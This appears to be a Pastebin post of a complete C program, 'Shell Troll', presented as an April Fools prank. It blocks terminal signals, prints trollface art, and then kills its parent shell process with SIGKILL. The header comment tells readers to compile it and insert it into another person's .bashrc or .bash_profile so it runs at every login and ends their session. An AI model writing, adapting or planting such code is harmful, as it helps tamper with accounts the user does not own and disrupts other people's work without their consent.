Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /************************************************
- * Shell Troll
- *
- * Author: Green Boy
- *
- * Requirements:
- * Any fully POSIX compliant UNIX-based system
- * with at least a partial implementation of the
- * UNIX signal daemon.
- *
- * WHAT THIS DOES:
- * This is a really nasty prank that's a great
- * April Fools gag for sysops the world over.
- * This programme simply loads up, prints the
- * trollface (reddit search "trollface" if you
- * don't know what this is), and blocks all
- * terminal signals, except CTRL-C. After the
- * long sleep has expired, or the user presses
- * CTRL-C, it will then print "U Mad Bro?" below
- * the trollface, further enraging your victim.
- * It then sleeps for the duration of the
- * shortsleep constant, after which it kills the
- * parent process ID (their TMUX session, screen
- * session, login terminal, whatever it is).
- *
- * HOW TO USE SHELL TROLL:
- * Download source code and compile with
- * gcc -o [YOUR_BIN_NAME_HERE] shellTroll.c
- *
- * Replace [YOUR_BIN_NAME_HERE] with what you want
- * to call the compiled programme, and where to
- * stash it. example:
- *
- * gcc -o /usr/local/bin/lol shellTroll.c
- *
- * Then slip the full path to the compiled programme
- * into their .bash_profile or .bashrc. That's it!
- * You're set! Be sure you have a way to reverse
- * what you did (write access to their .bash_profile
- * or whatever)!
- *
- * DISCLAIMER:
- * I am in no way responsible for any reprocussions
- * you might suffer by using this programme on
- * yourself, your colleagues, your friends, or
- * your parents. If they disown you, fire you,
- * defriend you, hate you, want to fuck you up,
- * chase you with a noose or blunt object, kick
- * you into the pavement, and/or inflict torture
- * upon your dead corpse it is completely of your
- * own doing. Furthermore, if by utilising this
- * application you do damage of any kind to your
- * own system, it is YOUR problem and not mine!
- * Finally, I will not support this programme
- * at all. It is provided to you at no cost, but
- * with ABSOLUTELY NO support. I am not to be held
- * responsible under any circumstances!
- *
- * (summary: You're on your fucking own!)
- *
- ***********************************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <signal.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <setjmp.h>
- #define SHORTSLEEP 3
- #define LONGSLEEP 8
- void setSigs( void );
- void umadbro( int signal );
- sigjmp_buf point;
- int main( void )
- {
- pid_t shellPid;
- int sleeptime = LONGSLEEP;
- shellPid = getppid();
- setSigs();
- printf( " \n" );
- printf( " /$MMMNMMMMMNMMMD+++++\\ \n" );
- printf( " MMMMMMMN DNMMI MM, \n" );
- printf( " MM?/ : M MM \n" );
- printf( " NMN M M 8 MM \n" );
- printf( " MM M ,M D N , MM \n" );
- printf( " M M = N N M \n" );
- printf( " NM /NMMMMMM: M \n" );
- printf( " MM MMMMMMO NM 8MMMMMMN MM \n" );
- printf( " MM M MMMMMMMMNM$ MM NMMM?,$NMM 8 M M+ \n" );
- printf( " M N N / MM M/ NN NMMMMMM 7M \n" );
- printf( " MMM :MNMMMM + MM NMMMMM8 M MM NN \n" );
- printf( " MM7 M MMN+ MN +MMM M M \n" );
- printf( " MM M M MM MM$MMN$ NMM ~MMM M M \n" );
- printf( " N,M NMM M ZMM MNMM MN MMMM M OM M MN \n" );
- printf( " MM MNMMM MNM NMMM N NMM M,NM \n" );
- printf( " M MM M NMMMN ZMNMMMNZM MMMM MN MM \n" );
- printf( " MN MM M M :M M M MMMMMNM NM MM \n" );
- printf( " :M MMMMNMM$ M M ,MMMMMMM M MM NN \n" );
- printf( " ,N MMMMMMMMMMMMMMMMMMMMMMMN N NM M \n" );
- printf( " NM M MMMMMMMMMMMMMMMMM M MMM M \n" );
- printf( " M M:M M M M M M?MM NM \n" );
- printf( " M NMNDM 8M ?M M MMMMZ M MM MM= \n" );
- printf( " M MMMMMMMMMMMMMMMMMM N MM NM \n" );
- printf( " M M N~ ~M MMN \n" );
- printf( " M :M? NM MN MMN \n" );
- printf( " M M 8M 8MM/ \n" );
- printf( " N ?MM \n" );
- printf( " NM MMMMMM \n" );
- printf( " NMMMMNMMMMMMMMNZ/ \n" );
- printf( " \n" );
- if ( sigsetjmp( point, 1 ) ) sleeptime = SHORTSLEEP;
- sleep( sleeptime );
- if ( sleeptime != SHORTSLEEP )
- {
- printf( " U Mad Bro?\n\n\n" );
- sleep( 2 );
- }
- kill( shellPid, SIGKILL );
- }
- void setSigs( void )
- {
- struct sigaction sa;
- sigfillset( &sa.sa_mask );
- sa.sa_flags = 0;
- sa.sa_handler = SIG_IGN;
- sigaction( SIGQUIT, &sa, NULL );
- sigaction( SIGALRM, &sa, NULL );
- sigaction( SIGTSTP, &sa, NULL );
- sigaction( SIGABRT, &sa, NULL );
- sa.sa_handler = umadbro;
- sigaction( SIGINT, &sa, NULL );
- }
- void umadbro( int signal )
- {
- struct sigaction sa;
- sigfillset( &sa.sa_mask );
- sa.sa_flags = 0;
- sa.sa_handler = SIG_IGN;
- sigaction( SIGQUIT, &sa, NULL );
- sigaction( SIGALRM, &sa, NULL );
- sigaction( SIGTSTP, &sa, NULL );
- sigaction( SIGABRT, &sa, NULL );
- sigaction( SIGINT, &sa, NULL );
- printf( " U Mad Bro?\n\n\n" );
- siglongjmp( point, 1 );
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement